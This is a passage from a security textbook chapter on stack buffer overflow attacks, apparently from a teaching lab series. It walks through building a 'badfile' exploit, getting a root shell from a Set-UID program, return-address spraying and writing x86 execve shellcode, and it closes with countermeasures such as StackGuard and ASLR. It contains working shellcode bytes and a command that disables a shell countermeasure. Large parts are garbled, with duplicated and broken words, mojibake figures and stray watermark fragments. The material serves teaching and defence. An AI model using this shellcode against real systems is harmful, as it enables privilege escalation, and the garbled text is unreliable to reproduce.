open(’bad ’wb’) as f:
f.write(content)
.write(conte

Inn the given cod

code, th
the array shellcode[] contains a copy of the malicious code. We will
discuss how w to write
w ssuch code later. In Line Œ, we create an array of size 300 bytes, and fill it
with 0x90 (NOP). We W then place the shellcode at the end of this array (Line ).
78 CHAPTER 4. BUFFER OVERFLOW ATTACK

We plan to use 0xbfffeaf8 + 100 for the return address (Line Ž), ), so we need
n to put

pter
this value into the corresponding place inside the array. According to our gdb result, sult, the re
return
address field starts from offset 112, and ends at offset 116 (not including ng 116).
16). Therefore,
Therefor in
Line , we put the address into content[112:116]. When we put ut a multi-byte number
numbe
n
into memory, we need to consider which byte should be put into the low w address.
ress. This is called
call
byte order. Some computer architecture use big endian, and some usee little endian. The x86
architecture uses the little-endian order, so in Python, when putting g a 4-byte address
addres into the
memory, we need to use byteorder=’little’ to specify the byte order .
It should be noted that in Line Ž, we did not use 0xbfffeaf8 + 8, 8, as we have
ha calculated
cal
before; instead, we use a larger value 0xbfffeaf8 + 120. Theree is a reason for this: t the
address 0xbfffeaf8 was identified using the debugging method, hod, and
nd the stack frame
fram of the
foo function may be different when the program runs inside gdb db as opposed to runnin
running directly,

Cha
because gdb may push some additional data onto the stack att the beginning, causing ccausin the stack
frame to be allocated deeper than it would be when the program gram runs directly.
directl Therefore,
Th the
first address that we can jump to may be higher than 0xbfffeaf8 bfffeaf8 + 8. 8 That
Th is why we
chose to use 0xbfffeaf8 + 120. Readers can try different ferentt offsets if their
th attacks
at fail.
Another important thing to remember is that the result ult of 0xbfffeaf8
0xbfffea + nnn should
not contain a zero in any of its byte, or the content of badfile
adfile le will hav
have a zezero in the middle,
causing the strcpy() function to end the copying earlier, rlier, without copying
copy anything after the
zero. For example, if we use 0xbfffeaf8 + 8, we will wi get 0xbfffeb0
0xbfffeb00,
bff and the last byte
of the result is zero.

Run the exploit. We can now run exploit.py to generate nerate bad
badfile. Once the file
is constructed, we run the vulnerable Set-UID D pro
program, which copies
co the contents from
badfile, resulting in a buffer overflow. The following
ollowing
ing result
res shows that we have successfully
ple
obtained the root privilege: we get the # prompt,
pt, and
nd the result of th
the id command shows that
the effective user id (euid) of the process is 0.
$ chmod u+x exploit.py ¥ make
ke it executable
execut
$ rm badfile
$ exploit.py
$ ./stack
# id ¥ Got the root shell!
uid=1000(seed) gid=1000(seed) euid=0(root)
0(root) groups=0(root), ...
Sam

Note for Ubuntu16.04 VM: Iff the above exper experimen

experiment is conducted in the provided SEED
Ubuntu16.04 VM, we will onlyy get a normal shell, she notno a root shell. This is due to a counter-
measure implemented in Ubuntu16.04.
u16.04 04.. In bot
both Ubu
Ubuntu12.04 and Ubuntu16.04 VMs,
/bin/sh is actually a symbolicc link k pointing to the /bin/dash shell. However, the dash
shell (bash also) in Ubuntu16.04 04 has a co
16.04 countermeasure that prevents itself from being
counter
executed in a Set-UID process. ess. We have alrea
already pprovided a detailed explanation in Chapter 1
(§1.5).
There are two choices too solve this problem.
prob The
T first choice is to link /bin/sh to another
shell that does not have such
ch a countermea
countermeasure. We have installed a shell program called zsh
in our Ubuntu16.04 VM. M. We can use th the fol
following command to link /bin/sh to zsh:
$ sudo ln -sf /bin/zsh /bin/sh
n/sh
4.6. ATTACKS WITH UNKNOWN ADDRESS AND BUFFER SIZE 79

A better choice is to modify our shellcode, so instead

stead of invoking
in /bin/sh, we can directly
/b

pter
invoke /bin/zsh. To do that, simply make the following
ollowing
ng change in th
the shellcode:
change "\x68""//sh" to "\x68""/zsh"

It should be noted that this countermeasure implemented

mplemented
emented by bash
b and dash can be defeated.
Therefore, even if we cannot use zsh in our experiment,
xperiment, we can still
sti get a root shell. We need
to add a few more instructions to the beginning
ng of the shellcode.
shellcod WeW will talk about this in §4.7.

4.6 Attacks with Unknown

wn Address and
a Buffer Size
In the previous section, we show how to conduct
onduct attacks when
wh the buffer address and size are

Cha
known to us. In real-world situations,, we may not be ablea to know their exact values. This is
especially true for attacks against remote
mote servers, because
bec unlike what we did in the previous
section, we will not be able to debugug thee target program.
program
prog In this section, we will learn a few
techniques that allow us to launch attacks
ks without knowing
knowi
k all the information about the target
program.

4.6.1 Knowing the Range

nge of Buffe
Buffer Size
There are two critical pieces off information for buffer
buff overflow attacks: the buffer’s address and
size. Let us first assume that wee do know the address
aaddr of the buffer is A = 0xbfffea8c (this
assumption will be lifted later), but ut we do not knowk exactly what the buffer size is; we only
know it is in a range, from m 10 to 100. Obviously,
iousl we can use the brute force approach, trying
all the values between 10 0 to 100. The question is whether we can do it with only one try. In
real-world situations, brute-force
rute-force
force attacks
attack can easily trigger alarms, so the less we try the better.
ple
The buffer size decides
cides where the return
re address is. Without knowing the actual buffer size,
we do not know which ch
h area in the input
inpu string
str (i.e., the badfile) should be used to hold the
return address. Guessing
ssing
sing is an approach,
app but there is a better solution: instead of putting the
return address in one
ne location,
ation, we put
pu it in all the possible locations, so it does not matter which
one is the actual location.
ocation. technique is called spraying, i.e., we spray the buffer with the
ion. This techniqu
te
return address.
Since the range
ange of the buffer size is between 10 to 100, the actual distance between the
return address field d and the beginnin
beginning of the buffer will be at most 100 plus some small value
Sam

(compilers may ay add

dd additional space
spa after the end of the buffer); let us use 120. If we spray
the first 120 byteses of the buffer with
w the return address RT (four bytes for each address), we
guarantee that
hat one
ne of them w will ov
overwrite the actual return address field. Figure 4.8 shows what
the badfileile content
conten looks like.
like
We do o need to decide the value for RT. From the figure, we can see that the first NOP
instruction
on will be at address
add A + 120. Since we assume that A is known to us (its vale is
0xbfffea8c),
fea8c8c), we hav
have A + 120 = 0xbfffea8c + 120 = 0xbfffeb04. We can
use this
is address
ess for RT
RT. Act
Actually, because of the NOPs, any address between this value and the
starting
ng of the malicious
malicio codeco can be used.

4.6.2
6.2
.2 Knowing th
the Range of the Buffer Address
Let us lift the
he assumption
ass
assump on the buffer address; assume that we do not know the exact value
ess but we know its range is between A and A+100 (A is known). Our
of the buffer address,
80 CHAPTER 4. BUFFER OVERFLOW ATTACK

KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚŝŶƚŽ

pter
ďƵĨĨĞƌ͕ƚŚĞĂĚĚƌĞƐƐŽĨƚŚŝƐ
ƉŽƐŝƚŝŽŶǁŝůůďĞ
0xbfffea8c + 120
ZdƐĞĐƚŝŽŶ
ϭϮϬďLJƚĞƐ;ϰďLJƚĞƐĨŽƌĞĂĐŚZdͿ EKWƐĞĐƚŝŽŶ

Zd Zd Zd EKW EKW
W DĂůŝĐŝŽƵƐŽĚĞ
DĂůŝĐŝŽƵƐŽ

^ƚĂƌƚŽĨďƵĨĨĞƌ͗ KŶĞŽĨƚŚĞZdǀĂůƵĞƐ dŚĞĨŝƌƐƚƉŽƐƐŝďůĞ

dŚĞĨŝƌƐƚƉŽƐƐŝďůĞ
ƌƐƚƉŽƐƐŝďůĞ

Cha
KŶĐĞƚŚĞŝŶƉƵƚŝƐĐŽƉŝĞĚ ǁŝůůŽǀĞƌǁƌŝƚĞƚŚĞ ƉŽŝŶƚĨŽƌƚŚĞ
ĞŶƚƌLJƉŽŝŶƚĨŽƌƚŚĞ
ŝŶƚŽďƵĨĨĞƌ͕ƚŚĞŵĞŵŽƌLJ ZĞƚƵƌŶĚĚƌĞƐƐĨŝĞůĚ ĐŝŽƵƐĐŽ
ŵĂůŝĐŝŽƵƐĐŽĚĞ
ĂĚĚƌĞƐƐǁŝůůďĞ
0xbfffea8c

Figure 4.8: Spraying the buffer with

th
h return addresses.
addresse

assumption on the buffer size is still the same, i.e., wee know its range iis be
between 10 to 100. We
would like to construct one payload, so regardless off what hat the buffer address
add is, as long as it is
within the specified range, our payload can successfully exploit ploit
l it the
th vulnerability.
vuln
We still use the spraying technique to construct
uct the first 120 bytes es of
o the buffer, and we put
150 bytes of NOP afterward, followed by the malicious
alicious
us code.
cod Therefore,
T if the buffer’s address
ple
is X, the NOP section will be in the range of [X X + 120, X + 270]. 2 The question is that
we do not know X, and hence we do not know w the exact range for theth NOP section. Since X is
in the range of [A, A + 100], let us enumeratemerate all the possible
poss values for X, and see where
their NOP sections are:
Buffer Address NOP Section
--------------------------------------
-
A [A + 120, A + 270]
0]
A+4 [A + 124, A + 274]
A+8 [A + 128, A + 278]
Sam

......
A+100 [A + 220, A + 370]

To find a NOP that works forr all the poss

possible buff
buffer addresses, the NOP must be in the
tions shown above.
conjunction of all the NOP sections abov That
T will be [A + 220, A + 270].
Namely, any address in this range
ge can
an be used for
fo the return address RT.

4.6.3 A General Solution

tion
on
Let us generalize what we have just discussed
discus regarding
r the return address value that can be
used in the attack. Assumee that the buffer address
addres
ad is within the range of [A, A + H], the first
S bytes of the buffer are used
sedd for the spraying
sprayi ppurpose (the RT section), and the next L bytes of
the buffer are filled with the NOP instruction
struc ((the NOP section). Let us find out what values we
can use for the return address RT (see Figureure 4.9).
4.6. ATTACKS WITH UNKNOWN ADDRESS AND BUFFER SIZE 81

• If the buffer’s actual starting address is X = A, the NOP section

section’s range will be [A +

pter
S, A + S + L]. Any number in this range ge can be used for
fo RT
RT.
• If the buffer’s actual starting address is X = A + 4,
4 the
th NOP section’s range will be
[(A + 4) + S , (A + 4) + S + L].. Any numb number in this range can be used for
RT.
• If the buffer’s actual starting address is X = A + H H,, the NOP section’s range will be
[(A + H) + S , (A + H) + S + L]. L]. Any nnumbe
number in this range can be used for
RT.

ZdƐĞĐƚŝŽŶ͗>ĞŶŐƚŚс^ EKWƐĞĐƚŝŽŶ͗>ĞŶŐƚŚс>
EKWƐĞĐƚŝŽŶ͗>Ğ

Cha Zd

^ƚĂƌƚŽĨďƵĨĨĞƌ͗y
Zd Zdd EKW
KW

y н^
н
EKW DĂůŝĐŝŽƵƐŽĚĞ

y н^ н>

ZdĐĂŶďĞƉŝĐŬĞĚĨƌŽŵƚŚŝƐƌĂŶŐĞ
ZdĐĂŶďĞƉ
dĐĂ

y с  н^^ н^ н>

ple
y снϰ ;нϰͿн^
ϰͿн^ ;нϰͿн^н>

y сн, ;н,Ϳн^
;
;н,Ϳн ;н,Ϳн^н>

ZdƉŝĐŬĞĚĨƌŽŵƚŚŝƐƌĂŶŐĞǁŝůůǁŽƌŬĨŽƌĂůůyǀĂůƵĞƐ
Zd
ZdƉŝĐŬ
Sam

Figure 4.9: Find values for the return address RT

Fi

If we want to find an RT valu

value that works for all the possible buffer addresses, it must be in
the conjunction
unctionn of all the ranges
rang for X = A, A+4, ..., A+H. From Figure 4.9, we can see that
the conjunction
unction
ion is [A + H + S, A + S + L). Any number in this range can be used for
the return
urn address
ddress RT.
R .
RT
Some
ome readers
aders may immediately
imm find out that if H is larger than L, the lower bound of the
abovee range is larger than
t the
t upper bound, so the range is impossible, and no value for RT can
satisfy
sfy all the buffer
buffe addresses.
addr Intuitively speaking, if the range of the buffer address is too
ge,
e, but the space for us to put NOP instructions is too small, we will not be able to find a
large,
solution.
lution.
ion. To have ata least
lea one solution, the relationship H < L must hold.
Since L is de
decided by the payload size, which depends on how many bytes the vulnerable
program can take from
fro us, we will not be able to arbitrarily increase L to satisfy the inequality.
82 CHAPTER 4. BUFFER OVERFLOW ATTACK

Obviously, we cannot reduce the width H of the specified range for the buffer
ffer addre
address. but we

pter
can break the range into smaller subranges, each of which has a smaller width H’ ’. As lon
H’. long as
H’ is less than L, we can find a solution. Basically, if the range is too wide,, we break it into
smaller subranges, and then construct a malicious payload for each of the
he subranges.
ubrange

4.7 Writing a Shellcode

Up to this point, we have learned how to inject malicious code into the
he victim
ctim program’s
progr memory,
m
and how to trigger the code. What we have not discussed is how to write rite such malicious
maliciou
ma code.
If an attacker is given a chance to get the victim program to run one command,
ommand, whatwh command
c
should he/she run? Let me ask a different question: if Genie grants
rants you (instead of Aladdin)
A a

Cha
wish, what wish would you make? My wish would be “allowing ng me to make unlimited
unlimit
un number
of wishes whenever I want”.
Similarly, the ideal command that attackers want to injectject is one that allows
al them to run
more commands whenever they want. One command can n achieve
ieve that goal.
go ThatTh is the shell
program. If we can inject code to execute a shell program m (e.g. /bin/sh
/bin/sh), ) we can get a shell
prompt, and can later type whatever commands we want to run.

4.7.1 Writing Malicious Code Using C

Let us write such code using C. The following code executes
ecutes a shell program
progra
pr (/bin/sh) using
the execve() system call.
#include <stddef.h>
void main()
{
ple
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

A naive thought is to compile the abovee code into binary,

binar and then save it to the input
file badfile. We then set the targeted ted return
turn address field
fiel to the address of the main()
function, so when the vulnerable program
gram returns, it jumps to the entrance of the above code.
Sam

Unfortunately this does not work for several

ral reasons.
• The loader issue: Before a normalormall program ruruns, it needs to be loaded into memory and
its running environment needs eds too be set up. These
T jobs are conducted by the OS loader,
which is responsible for setting
etting up the memory
me (such as stack and heap), copying the
program into memory, invokingokingg the dynamic link
linker to link to the needed library functions,
etc. After all the initialization
ationn is done, the mai
main() function will be triggered. If any of
the steps is missing, thee program
gram will not
no be able to run correctly. In a buffer overflow
attack, the malicious code
ode
de is not loaded bby th
the OS; it is loaded directly via memory copy.
Therefore, all the essential
ential initialization
initializa steps
st are missing; even if we can jump to the
main() function, wee will not be able abl to get
g the shell program to run.
• Zeros in the code: String
ng copying (e.g.
(e. using
u strcpy()) will stop when a zero is found
in the source string. When wee compile
com the above C code into binary, at least three zeros
will exist in the binary code:
4.7. WRITING A SHELLCODE 83

– There is a '\0' at the end of the "/bin/sh"

h" string.
n/sh"

pter
– There are two NULL’s, which are zeros.
os.
– Whether the zeros in name[0] willl become
ome zeros in
i the binary code depends on
the program compilation.

4.7.2 Writing a Shellcode: Main Ideaa

Given the above issues, we cannot use the binary ary generated
generat directly
dire from a C program as our
malicious code. It is better to write the programram directly using
usin the assembly language. The
ferred to as shellcode
assembly code for launching a shell is referred shellco [Wikipedia,
[ 2017t]. The core part
of a shellcode is to use the execve() system em call to execute "/bin/sh". To use the system

Cha
call, we need to set four registers as follows:
ollows:
s:

• %eax: must contain 11, which

ch is the system call
ca nunumber for execve().

• %ebx: must contain the address command string (e.g. "/bin/sh").

dress of the comm

• %ecx: must contain the address

ddress of the argument
argume
arg array; in our case, the first element of
the array points to the "/bin/sh"
/bin/sh" strstring, wh
while the second element is 0 (which marks
the end of the array).

• %edx: must contain the

he address of the environment
envir variables that we want to pass to the
new program. We can set it to 0,
0 as we
w do not need to pass any environment variable.

Setting these four registers

isters are not difficult; the difficulty is in preparing the data, finding the
addresses of those data, and making su sure tha
that there is no zero in the binary code. For example,
ple
to set the value for %ebx,ebx, we need to know the address of the "/bin/sh" string. We can
put the string on the stack
tack using the buffer
bu overflow, but we may not be able to know its exact
memory address. To eliminate the gu guessing involved in finding the address, a common idea is to
use the stack pointer er (the %esp register)
register), as long as we can figure out the offset of the string
reg
from the current stack
tack pointer’s p position
position. To achieve this goal, instead of copying the string to
the stack via a buffer
uffer overflow, we can dynamically push the string into the stack; this way, we
can get its address
ess fromom the %esp register,
reg which always points to the top of the stack.
To ensure that
hat the
he entire code is copied into the target buffer, it is important not to include
Sam

any zero in thee code,e, because some

so functions
f treat zero as the end of the source buffer. Although
zeros are useded byy the program,
p we
w do not need to have zeros in the code; instead, we can
ros dynamically.
generate zeros ynamically. There
The are many ways to generate zeros. For example, to place a
zero in the %eaxax regis
register, we cacan use the mov instruction to put a zero in it, but that will cause
zero to appear
ppear in n the code
code. An alternative is to use "xorl %eax, %eax", which XORs the
register with itself, causin
causing its content to become zero.

4.7.3
3 Explanatio
Explanation of a Shellcode Example
Therere are many ways
way to write
w a shellcode, more details about shellcode writing can be found
in [One,
One, 1996] and many
man online articles. We use a shellcode example to illustrate one way to
write
ritee such code. The
T code
c is shown below. We have already placed the machine instructions
into a string
ng in th
the foll
following Python code, and the comment fields show the assembly code for
each machine instruction.
ruc
84 CHAPTER 4. BUFFER OVERFLOW ATTACK

Listing 4.3: Shellcode

pter
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx ¥ set %ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx ¥ set %ecx
%e
"\x99" # cdq ¥ set %edx
"\xb0\x0b" # movb $0x0b,%al ¥ set %eax
x
"\xcd\x80" # int $0x80 ¥ invoke
nvoke execve()

Cha
).encode(’latin-1’)

The goal of the above code is similar to the C program ram shown
hown before,
before i.e.
i.e to use the
execve() system call to run /bin/sh. A system call is executed cuted using the
th instruction
ins "int
$0x80" (the last instruction in the shellcode above). To run it, parameters need to be prepared
for registers %eax, %ebx, %ecx, and %edx. If these registers
gisters
ers are configured
confi correctly and the
"int $0x80" instruction is executed, the system call execve() will be eexecuted to launch
a shell. If the program runs with the root privilege, a root
oot shell will be obtained.
obtai
Before diving into the details of the above shellcode,
lcode,
code, we need to t know
kno the current state
igure
of the stack before the shellcode gets executed. Figure ure 4.10(a) shows
sho thet stack state before
the vulnerable function returns. During the return, the return
eturn
turn address
addre will
wi be popped out from
the stack, so the esp value will advance four bytes.
y The updated
ated stack
sta state is depicted in
Figure 4.10(b).
ple
Stack

Malicious Malicious
Code Code
NOP NOP
NOP NOP
NOP NOP
Sam

esp
NewReturnAddress
esp

(a) Beforereturn
rn (b) Afterreturn

Figure 4.10: The positions

ions of the stack pointer
point before and after function returns

We will now go over thee above shellcode,

shellco line by line, to understand how it overcomes the
challenges mentioned previously.
viously.
iously. The code can be divided into four steps.

Step 1: Finding the address of thee "/bin/sh"

"/b
"/bin/ string and set %ebx. To get the address
of the "/bin/sh" string, we push this string
stri to the stack. Since the stack grows from high
4.7. WRITING A SHELLCODE 85

address to low address, and we can only push four bytess at a time, we need
n to divide the string

pter
into 3 pieces, 4 bytes each, and we push the last piece
iece first.
st. Let us look
l at the code.

• xorl %eax,%eax: Using XOR operation

tion on %eax
eax w
will se
set %eax to zero, without
introducing a zero in the code.

• pushl %eax: Push a zero into the stack.

ack.
k. This zero marks
m the end of the "/bin/sh"
string.

• pushl $0x68732f2f: Push "//sh" /sh" " into the sta

stack (d
(double slash // is used because
4 bytes are needed for instruction;
n; double
uble slashes will be treated by the execve()
system call as the same as a single
le slash).. As we have
hav mentioned before, if we would
like to directly invoke /bin/zsh,
h, instead
stead of invoking /bin/sh, we can simply change

Cha
"//sh" to "/zsh" at this linee of shellcode. TheTh assembly
as code will become pushl
$0x68737a2f.

• pushl $0x6e69622f: Push ush "/bin" intinto the stack. At this point, the entire string
"/bin//sh" is on the stack, ck, and the current
curren stack
sta pointer %esp, which always points
to the top of the stack, noww points to the beginning
beginn of the string. The state of the stack
and the registers at this point
oint is shown in Figure
Figur 4.11(a).
F

• movl %esp,%ebx: Move Mo %esp to o %ebx

%ebx. That is how we save the address of the
%
string to the %ebx register
ister
ter without doing
doin any
an guessing.
ple
Malicious
s Malicious
Code Code

NOP NOP

P
NOP NOP

NOP
OP NOP 11 eax
ebx 0
0 ebx
//sh //sh

/bin 0x2000 /bin ecx

esp 0
Sam

0x2000 0 edx
esp

(a) Set
Settheebx register (b) Settheeax,ecx,andedx registers

Figure 4.11: Shellcode Execution

Stepp 2. Finding the addr

address of the name[] array and set %ecx. The next step is to find the
dress
ress of the name[]
address me aarray, which needs to contain two elements, the address of "/bin/sh"
for name[0]
ame[0] and 0 fo for name[1]. We will use the same technique to get the address of the
array. Namely,
mely,
ely we
w dyn
dynamically construct the array on the stack, and then use the stack pointer
to get the array’s address.
dd
86 CHAPTER 4. BUFFER OVERFLOW ATTACK

• pushl %eax: Construct the second item of the name array. Since this item contains a

pter
zero, we simply push %eax to this position, because the content of %eax is still zero.
zer

• pushl %ebx: Push %ebx, which contains the address of the "/bin/sh" n/sh" string,
/bin/sh" trin int
into
the stack, forming the first entry of the name array. At this point,
nt, the entire name
ame arr
array
is constructed on the stack, and %esp points at the beginning off this array.

• movl %esp,%ecx: Save the value of %esp to %ecx, so now the he %ecx register
reg con-
tains the address of the name[] array. See Figure 4.11(b).

Step 3. Setting %edx to zero. The %edx register needs to be set to zero. We can use the
XOR approach, but in order to reduce the code size by one byte,
yte, we can leverage a different

Cha
instruction (cdq). This one-byte instruction sets %edx to zero
ero as a side effe
effect. It
I basically
copies the sign bit (bit 31) of the value in %eax (which is 0 now),
w), into every
eve bitbi position in
%edx.

Step 4. Invoking the execve() system call. Two instructions nstructions are n need
needed for invoking
a system call. The first instruction is to save the system em call
all number in th the %eax register.
The system call number for the execve() system call is 11 ((0x0b 0x0b in h hex). The "movb
$0x0b,%al" instruction sets %al to 11 (%al represents sents
ents the lower 8 bits oof the %eax register,
the other bits of which has already been set to zero due
uee to the xor instructi
instruction
nst in the beginning).
The "int $0x80" instruction executes the system stem call. The in int instruction means
interrupt. An interrupt transfers the program flow to the he interrupt
interru handler.
h In Linux, the
"int $0x80" interrupt triggers a switch to the ker kernel mode, andd exe
executes the corresponding
interrupt handler, namely, the system call handler.
dler. This mechanism
me is used to make system
calls. Figure 4.11(b) shows the final state of thee stack
ck and the registe
registers
r before the system call is
ple
invoked.

4.8 Countermeasures: Overview

erview
ew
The buffer overflow problem has quite a long g history, and
an many
ma countermeasures have been
proposed, some of which have been adopted
optedd in real-world
real-worl sysystems and software. These coun-
termeasures can be deployed in variousus places,
aces, from hardw
hardware architecture, operating system,
compiler, library, to the application itself.
f. We first give an overview of these countermea-
Sam

sures, and then study some of them m in depth. We will also demonstrate that some of the
countermeasures can be defeated.

Safer Functions. Some of the memory ory copy function

fun
functions rely on certain special characters in the
data to decide whether the copy shoulduld end or not.
no This
Th is dangerous, because the length of the
data that can be copied is now decidedded by the data,
d which
w may be controlled by users. A safer
approach is to put the control in the developers’ han
hands, by specifying the length in the code. The
length can now be decided based
ased on the size of o the target buffer, instead of on the data.
For memory copy functions
ctions like strcpy
strcpy,, sprintf, strcat, and gets, their safer
str
versions are strncpy, snprintf,
nprintf, strncat
nprintf strncat,
trn fgets, respectively. The difference is that
the safer versions requiree developers to explicitly
eexpli specify the maximum length of the data
that can be copied into the target buffer,
uffer forcing
forc the developers to think about the buffer size.
Obviously, these safer functions are only relatively
rel safer, as they only make a buffer overflow
4.8. COUNTERMEASURES: OVERVIEW 87

less likely, but they do not prevent it. If a developer er specifies

pecifi a length that is larger than the

pter
actual size of the buffer, there will still be a buffer overflow
ow vulnerability.
vulnera
vulnerability

Safer Dynamic Link Library. The above approach ach requires

require changes
cha to be made to the
program. If we only have the binary, it will be difficult
cult to change
chang the program. We can use the
dynamic linking to achieve the similar goal. Many programs
program use dynamic link libraries, i.e.,
the library function code is not included in a program’s
ram’s binary,
binary instead,
inst it is dynamically linked
to the program. If we can build a safer library
brary and get a progra
program to dynamically link to the
functions in this library, we can make the programram safer against
ag buffer overflow attacks.
An example of such a library is libsafeafe developed by Be Bell Labs [Baratloo et al., 2000]. It
provides a safer version for the standard unsafee functions, whic
whi
which does boundary checking based
on %ebp and does not allow copy beyond nd the
he frame pointer. A
Another example is the C++ string

Cha
module libmib [mibsoftware.com, 1998].. It conceptually
conceptu supports “limitless” strings instead
of fixed length string buffers. It provides
ides itss own versions
versio oof functions like strcpy() that are
safer against buffer overflow attacks.s.

Program Static Analyzer. Instead tead

ead of elimin
eliminating buf
buffer overflow, this type of solution warns
developers of the patterns in code
de that may potentially
potentiall lead to buffer overflow vulnerabilities.
poten
The solution is often implemented
ted as a comma
command-line tool or in the editor. The goal is to notify
developers early in the development
opment cycle of potentially
pote unsafe code in their programs. An
example of such a tool is ITS4
S4 by Cigital [Viega
[Vie ete al., 2000], which helps developers identify
dangerous patterns in C/C++ code.
de. There are also many academic papers on this approach.

Programming Language. e. Develo

Developers rely on programming languages to develop their pro-
grams. If a language itself
elf can
an do some check
chec against buffer overflow, it can remove the burden
from developers. This makess programming
programmi language
la a viable place to implement buffer overflow
countermeasures. Thee approach is taken by several programming languages, such as Java and
Python, which provide
vide
ide automatic boundary
bounda checking. Such languages are considered safer for
bo
development when it comess to avoiding
avoid buffer
b overflow [OWASP, 2014].

Compiler. Compilers mpilers

ers are responsible
responsibl
respo for translating source code into binary code. They
control what sequence
quencee of instructions
instruct are finally put in the binary. This provides compilers an
opportunity to control rol the layout of the
th
t stack. It also allows compilers to insert instructions into
the binary that at can verify the in
integr
integrity of a stack, as well as eliminating the conditions that are
necessary forr buffer
ffer overflow
over attacks.
atta Two well-known compiler-based countermeasures are
Stackshield d [Angelfire.com,
gelfire.com, 2000]
2000 and StackGuard [Cowa et al., 1998], which check whether
the return addressess has been modified
mod or not before a function returns.
The idea
dea off Stackshield
Stackshiel is to save a copy of the return address at some safer place. When
using thisis approach,
proach, at ththe beg
beginning of a function, the compiler inserts instructions to copy the
return address ss to a locat
location ((a shadow stack) that cannot be overflown. Before returning from
the function,
nction, additional inst
instructions compare the return address on the stack with the one that
was saved to determine
determin whether
wh an overflow has happened or not.
The idea of Stac
StackGuard is to put a guard between the return address and the buffer, so if
StackGua
thee return address is i modified
mo via a buffer overflow, this guard will also be modified. When
using
ingg this approach
approach, at tthe start of a function, the compiler adds a random value below the return
address and nd saves
save a copy
co of the random value (referred to as the canary) at a safer place that is
off the stack. Beforeore the function returns, the canary is checked against the saved value. The
88 CHAPTER 4. BUFFER OVERFLOW ATTACK

idea is that for an overflow to occur, the canary must also be overflown. More
re details
det about

pter
StackGuard will be given in §4.10.

Operating System. Before a program is executed, it needs to be loaded ded into

to the system,
syste anda
the running environment needs to be set up. This is the job of the loader
der
er program in m most ooper-
ating systems. The setup stage provides an opportunity to counter the he buffer
ffer overflow problem
pro
because it can dictate how the memory of a program is laid out. A common mmon countermeasure
counterme
count
implemented at the OS loader program is referred to as Address Spaceace Layout Randomiza
Rand
Randomization or
ASLR. It tries to reduce the chance of buffer overflows by targetingng thee challenges tthat attackers
a
have to overcome. In particular, it targets the fact that attackers
kers must
ust be able tot guess
g the
address of the injected shellcode. ASLR randomizes the layout of the he program memory,
memor making

Cha
it difficult for attackers to guess the correct address. We will discuss
uss this approach
appro in §4.9.

Hardware Architecture. The buffer overflow attack described escribed

ibed in this chapter
chapt
c depends on
the execution of the shellcode, which is placed on the stack.ack. Modern CPUs
CPU support
su a feature
called NX bit [Wikipedia, 2017o]. The NX bit, standing g forr No-eXecute
No-eXecute, is a technology used
in CPUs to separate code from data. Operating systems ms can mark certain
certa areas
ar of memory as
non-executable, and the processor will refuse to execute te any code residing
resid in these areas. Using
this CPU feature, the attack described earlier in this chapter
hapter will not work
w aanymore, if the stack
is marked as non-executable. However, this countermeasure
rmeasure
easure can be defeated
d
defe using a different
technique called return-to-libc attack. We will discuss the non-executable
non-exec stack countermeasure
and the return-to-libc attack in Chapter 5.
ple
4.9 Address Randomization
To succeed in buffer overflow attacks, attackers ckers need
ed to get the vulnerable
v program to “return”
(i.e., jump) to their injected code; they first st need
ed to guess
gues where the injected code will be. The
success rate of the guess depends on the attackers’ kers’ ability to ppredict where the stack is located
in the memory. Most operating systems in thee past placed the stack in a fixed location, making
correct guesses quite easy.
Sam

Is it really necessary for stacks to o start

rt from a fixed
fix memory
m location? The answer is no.
When a compiler generates binary code from source so code,
code for all the data stored on the stack,
their addresses are not hard-coded d in the
he binary code;
co instead,
i their addresses are calculated
based on the frame pointer %ebp and stack pointer p %esp. Namely, the addresses of the data
%e
on the stack are represented as the he offset too one of these
thes two registers, instead of to the starting
address of the stack. Therefore, even n if we start the st
stack from another location, as long as the
%ebp and %esp are set up correctly,rectly,
y, programs can
c always
al access their data on the stack without
any problem.
For attackers, they need to guess the absolute
abso address,
a instead of the offset, so knowing the
exact location of the stack iss important. If we w randomize
ran the start location of a stack, we make
attackers’ job more difficult,lt,
t, while causing no problem
pr to the program. That is the basic idea of
the Address Layout Randomization
omization
ization (ASLR)
(ASLR method,
me which has been implemented by operating
systems to defeat buffer overflow attacks.tacks This idea does not only apply to stacks, it can also be
used to randomize the location of other types pe of memory, such as heaps, libraries, etc.
4.9. ADDRESS RANDOMIZATION 89

4.9.1 Address Randomization on Linux

x

pter
To run a program, an operating system needs to load the program into the system first; this is
done by its loader program. During the loading g stage,
ge, the loader
load sets
set up the stack and heap
memory for the program. Therefore, memory randomization mization is normally
norm implemented in the
loader. For Linux, ELF is a common binary y format for programs,
progr
programs so for this type of binary
programs, randomization is carried out by thee ELF loader.
loade
To see how the randomization works, wee wrotee a simple program
p
prog with two buffers, one on
the stack and the other on the heap. We printint out their addresses
ad to see whether the stack and
heap are allocated in different places everyy time
me we run the program.
prog
#include <stdio.h>
#include <stdlib.h>

Cha
void main()
{
char x[12];
char *y = malloc(sizeof(char)
f(char *12);

printf("Address of buffer
ffer x (on stack):
st 0x%x\n", x);
printf("Address of buffer
uffer y (on heap) : 0x%x\n", y);
}

After compiling the above ve code, we run it ((a.out)

a. under different randomization settings.
Users (privileged users) can tell thee loader what type of address randomization they want by
setting a kernel variable called kernel.randomiza
and va space. As we can see that when
the value 0 is set to this kernell variable,
varia
variable the randomization is turned off, and we always get the
same address for bufferss x and y every time we run the code. When we change the value to 1,
ple
the buffer on the stack k now have a different
diff location, but the buffer on the heap still gets the
same address. This is because value 1 does d not randomize the heap memory. When we change
the value to 2, both stack
tack and heap
hea are now randomized.
// Turn off randomization
mizatio
$ sudo sysctl -w kernel.randomize
kernel.r va space=0
kernel.randomize_va_space
e_va_space = 0
$ a.out
Address of buffer
fer x (on stack):
sta 0xbffff370
Sam

Address of buffer
fer y (on heap) : 0x804b008
$ a.out
Address of buffer
uffer x (on
( stack): 0xbffff370
Address of buffer y (on heap) : 0x804b008

// Randomizing
izing stack
stac address
$ sudo sysctl
sctl -w kernel.randomize
ke va space=1
kernel.randomize_va_space
ndomize_v = 1
$ a.out
ut
Address
ress of buffer
buf x (on stack): 0xbf9deb10
Address
ress of buffer
